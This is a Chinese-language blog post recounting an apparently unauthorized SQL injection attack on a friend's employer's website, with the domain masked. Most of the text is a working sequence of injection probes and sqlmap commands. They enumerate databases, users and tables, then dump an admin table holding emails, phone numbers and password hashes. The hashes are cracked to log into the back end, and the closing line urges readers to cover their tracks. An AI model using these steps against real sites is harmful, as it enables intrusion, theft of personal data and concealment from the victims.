標籤:
SQL注入—我是如何一步步攻破一家互連網公司的
最近在研究Web 安全相關的知識,特別是SQL注入類的相關知識。接觸了一些與SQL注入相關的工具。周末在家閑著無聊,想把平時學的東東結合起來攻擊一下身邊某個小夥伴 去的公司,看看能不能得逞。不試不知道,一試還真TM得逞了,內心有些小激動,特在此寫博文一篇,來記錄下我是如何一步步攻破這家互連網公司的。
【作案工具介紹】
(1) AppScan滲透掃描工具
Appscan是Web應用程式滲透測試舞台上使用最廣泛的工具之一。它是一個傳統型應用程式,它有助於專業安全人員進行Web應用程式自動化脆弱性評估。
(2) Sqlmap滲透測試工具
Sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現並利用給定的URL的SQL注入漏洞。
【作案細節如下】
首先使用Appscan工具,對www.xxx.com互連網公司的官網進行掃描,掃描結果如下:
在這56個安全性問題中,找到你感興趣的連結,例如下面這條:
http://www.xxx.com/system/cms/show?id=1
為何要挑出這一條呢?因為它對於SQL注入比較典型,下面普及下SQL注入常用手法。首先用如下語句,確定該網站是否存在注入點:
http://192.168.16.128/news.php?id=1 原網站
http://192.168.16.128/news.php?id=1’ 出錯或顯示不正常
http://192.168.16.128/news.php?id=1 and 1=1 出錯或顯示不正常
http://192.168.16.128/news.php?id=1 and 1=2 出錯或顯示不正常
如果有出錯,說明存在注入點。
在判斷完http://www.xxx.com/system/cms/show?id=1該連結存在注入點後,接下來就啟動我們的滲透測試工具Sqlmap,進行下一步的注入工作,詳細過程如下:
1) 再次確認目標註入點是否可用:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1
參數:
-u:指定注入點url
結果:
注入結果展示:
a. 參數id存在基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入。
b. 參數id存在基於時間的盲注,即不能根據頁面返回內容判斷任何資訊,用條件陳述式查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
c. 資料庫類型為:MySql 5.0.12
2) 暴庫所有資料庫:
一條命令即可曝出該sqlserver中所有資料庫名稱,命令如下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --dbs
參數:
--dbs
:dbs前面有兩條杠,列出所有資料庫。
結果:
結果顯示該sqlserver中共包含3個可用的資料庫。
3) 擷取當前使用的資料庫
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-db
參數:
--current-db
:當前所使用的資料庫。
結果:
4) 擷取當前資料庫使用賬戶
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --current-user
5) 列出sqlserver所有使用者
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --users
6) 擷取目前使用者資料庫賬戶與密碼
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 --passwords
結果顯示該使用者可能無讀取相關係統的許可權。
7) 列出資料庫中的表
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store --tables
參數:
-D:指定資料庫名稱
--tables
:列出表
結果:
結果顯示共列出了69張表。
8) 列出表中欄位
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin --columns
參數:
-D:指定資料庫名稱
-T:指定要列出欄位的表
--columns
:指定列出欄位
結果:
9)暴欄位內容
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --dump
參數:
-C :指定要暴的欄位
--dump
:將結果匯出
如果欄位內容太多,需要花費很多時間。可以指定匯出特定範圍的欄位內容,命令如下:
python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id,email,id,mobile,name,password,status" --start 1 --stop 10 --dump
參數:
--start
:指定開始的行
--stop
:指定結束的行
此條命令的含義為:匯出資料庫xxx_store中的表mall_admin中的關於欄位(ag_id,email,id,mobile,name,password,status)中的第1到第10行的資料內容。
結果如下:
通過,我們可以看到admin表中的使用者資訊了。我們將password欄位通過md5解密,可以得到hash的原文密碼,通過使用者名稱和密碼,我們就可以登入該網站了。
至此,我們已成功入侵到一家公司的後台,並拿到了相關的資料。不過要在這裡提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦乾淨,不讓別人發現你了!
SQL注入—我是如何一步步攻破一家互連網公司的